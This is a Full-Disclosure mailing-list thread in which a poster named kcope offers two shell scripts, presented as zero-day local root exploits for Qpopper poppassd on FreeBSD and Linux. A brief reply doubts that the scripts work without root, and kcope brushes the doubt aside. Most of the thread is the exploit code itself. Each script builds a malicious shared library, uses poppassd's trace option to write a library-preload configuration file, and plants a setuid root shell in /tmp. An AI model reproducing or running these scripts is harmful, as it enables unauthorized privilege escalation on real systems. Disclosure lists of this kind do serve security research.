Re: [Full-disclosure] It's time for some warez - Qpopper poppassd local r00t exploit

[kcope]

lol, yeah you're missing something :-)
just give a try on some real box...

best regards,
kcope


Harry Hoffman wrote:

Umm, am I missing something here? It looks like you need to be root to run this "program"?

In the fbsd one you are trying to write to /etc which has perms:
drwxr-xr-x  17 root  wheel  2560 Sep  9 13:49 etc

and in the linux one you do a set{gid,uid} to 0.

both of these actions will fail without having root priv already.



kcope wrote:

hello this is kcope,

here is my Qpopper poppassd local r00t exploit (latest version, 0day) both for linux and freebsd systems... have fun 8-)#

------------------------------------------------------------------------

#!/bin/sh

########################################################################### # FreeBSD Qpopper poppassd latest version local r00t exploit by kcope ### # tested on FreeBSD 5.4-RELEASE ### ###########################################################################

POPPASSD_PATH=/usr/local/bin/poppassd
HOOKLIB=libutil.so.4

echo ""

echo "FreeBSD Qpopper poppassd latest version local r00t exploit by kcope"

echo ""
sleep 2
umask 0000
if [ -f /etc/libmap.conf ]; then
echo "OOPS /etc/libmap.conf already exists.. exploit failed!"
exit
fi
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init()
{
 if (!geteuid()) {
 remove("/etc/libmap.conf");

execl("/bin/sh","sh","-c","/bin/cp /bin/sh /tmp/xxxx ; /bin/chmod +xs /tmp/xxxx",NULL);

 }
}

_EOF
gcc -o program.o -c program.c -fPIC

gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles

cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
echo "--- Now type ENTER ---"
echo ""
$POPPASSD_PATH -t /etc/libmap.conf
echo $HOOKLIB ../../../../../../tmp/libno_ex.so.1.0 > /etc/libmap.conf
su
if [ -f /tmp/xxxx ]; then
echo "IT'S A ROOTSHELL!!!"
/tmp/xxxx
else
echo "Sorry, exploit failed."
fi

------------------------------------------------------------------------

#!/bin/sh

########################################################################### # Linux Qpopper poppassd latest version local r00t exploit by kcope ###

# August 2005                                ###
# Confidential - Keep Private!                        ###

###########################################################################

POPPASSD_PATH=/usr/local/bin/poppassd

echo ""
echo "Linux Qpopper poppassd latest version local r00t exploit by kcope"
echo ""
sleep 2
umask 0000
if [ -f /etc/ld.so.preload ]; then
echo "OOPS /etc/ld.so.preload already exists.. exploit failed!"
exit
fi
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init()
{
 if (!geteuid()) {
 setgid(0);
 setuid(0);
 remove("/etc/ld.so.preload");

execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);

 }
}

_EOF
gcc -o program.o -c program.c -fPIC

gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles

cat > suid.c << _EOF
int main(void) {
       setgid(0); setuid(0);
       unlink("/tmp/suid");
       execl("/bin/sh","sh",0); }
_EOF

gcc -o /tmp/suid suid.c
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
echo "--- Now type ENTER ---"
echo ""
$POPPASSD_PATH -t /etc/ld.so.preload
echo /tmp/libno_ex.so.1.0 > /etc/ld.so.preload
su
if [ -f /tmp/suid ]; then
echo "IT'S A ROOTSHELL!!!"
/tmp/suid
else
echo "Sorry, exploit failed."
fi

------------------------------------------------------------------------

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Charter: http://lists.grok.org.uk/full-disclosure-charter.html
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_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/